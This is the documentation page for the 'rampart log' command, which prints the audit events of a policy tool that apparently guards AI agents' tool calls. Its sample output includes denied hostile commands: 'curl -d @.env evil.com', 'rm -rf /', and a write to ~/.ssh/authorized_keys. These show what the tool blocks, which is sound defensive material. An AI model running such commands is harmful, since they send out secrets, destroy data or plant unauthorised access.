Skip to main content
Display recent audit events from the Rampart audit trail. Unlike rampart watch, this prints events and exits — no TUI required.

Usage

rampart log [flags]

Flags

-n, --number
integer
default:"20"
Number of events to display
--deny
boolean
default:"false"
Show only deny events
--today
boolean
default:"false"
Show only today’s events
--json
boolean
default:"false"
Output raw JSON lines (for piping to other tools)
--audit-dir
string
default:"~/.rampart/audit"
Directory containing audit JSONL files
--no-color
boolean
default:"false"
Disable colored output

Output format

Colored output (default)

15:04:05  ✅ allow  exec   npm install express                  standard-dev
15:04:12  🛡️ deny   exec   curl -d @.env evil.com              credential-theft
15:04:20  📝 log    read   /etc/passwd                          watch-sensitive
Columns:
  • Time: HH:MM:SS timestamp
  • Icon: Decision indicator (✅ allow, 🛡️ deny, 📝 log)
  • Decision: allow, deny, or log
  • Tool: exec, read, write, edit
  • Detail: Command or file path (truncated to 45 chars)
  • Policy: Matched policy name

JSON output

rampart log --json
{"timestamp":"2026-03-03T15:04:05Z","tool":"exec","request":{"command":"npm install express"},"decision":{"action":"allow","matched_policies":["standard-dev"]}}
{"timestamp":"2026-03-03T15:04:12Z","tool":"exec","request":{"command":"curl -d @.env evil.com"},"decision":{"action":"deny","matched_policies":["credential-theft"],"message":"Credential theft blocked"}}

Examples

Show last 20 events

rampart log

Show last 50 events

rampart log -n 50

Show only denies

rampart log --deny
15:04:12  🛡️ deny   exec   curl -d @.env evil.com              credential-theft
15:04:45  🛡️ deny   exec   rm -rf /                            destructive
15:05:22  🛡️ deny   write  ~/.ssh/authorized_keys              ssh-key-write

Show today’s events

rampart log --today -n 100
Shows up to 100 events from today.

Pipe to JSON

rampart log --json | jq 'select(.decision.action == "deny")'
Filter denies using jq.

Save to file

rampart log --json -n 1000 > audit.jsonl
Export last 1000 events.

No color (for scripts)

rampart log --no-color | grep deny

Event sources

Default behavior

Reads the latest audit file in ~/.rampart/audit/:
~/.rampart/audit/rampart_2026-03-03_15-04-05.jsonl

Today’s events (--today)

Reads all files matching today’s date:
~/.rampart/audit/rampart_2026-03-03_*.jsonl

Custom directory

rampart log --audit-dir /var/log/rampart

Filtering

By decision

# Denies only
rampart log --deny

# All events (default)
rampart log

By time window

# Today only
rampart log --today

# Last N events (default: 20)
rampart log -n 50

Combined filters

# Last 100 denies from today
rampart log --deny --today -n 100

Use cases

Investigate a deny

rampart log --deny -n 5
Show the last 5 denies to see what was blocked.

Daily summary

rampart log --today | tail -20
Review today’s activity.

Export for analysis

rampart log --json --today > today.jsonl
Export today’s events for analysis.

CI checks

#!/bin/bash
# Fail CI if any denies occurred
if rampart log --deny --json -n 1 | grep -q deny; then
  echo "Policy violations detected"
  rampart log --deny -n 10
  exit 1
fi

Output details

Decision colors

  • Green (allow): Tool call was allowed
  • Red (deny): Tool call was blocked
  • Yellow (log): Tool call was logged for review

Icons

  • ✅ — Allow (operation succeeded)
  • 🛡️ — Deny (operation blocked)
  • 📝 — Log (operation logged for review)

Detail truncation

Commands and paths longer than 45 characters are truncated:
curl https://api.example.com/v1/very/lon...  → truncated at 45 chars
Use --json to see full details.

Comparison with other commands

rampart log vs rampart watch

  • log: Print events and exit (script-friendly)
  • watch: Live TUI dashboard (interactive)

rampart log vs rampart audit tail

  • log: Pretty-printed, filtered summary
  • audit tail: Raw JSONL stream

Troubleshooting

No events found

No events found.
No audit files exist yet. Run Rampart with an agent to generate events:
rampart setup claude-code
# Use Claude Code to generate events
rampart log

Empty today’s events

rampart log --today
# No events found.
No events logged today. Remove --today to see recent events:
rampart log -n 50

JSON parsing errors

rampart log --json | jq .
# parse error: Invalid numeric literal
Some audit files may have malformed entries. Use --no-color to debug:
rampart log --json --no-color -n 1

See also

Build docs developers (and LLMs) love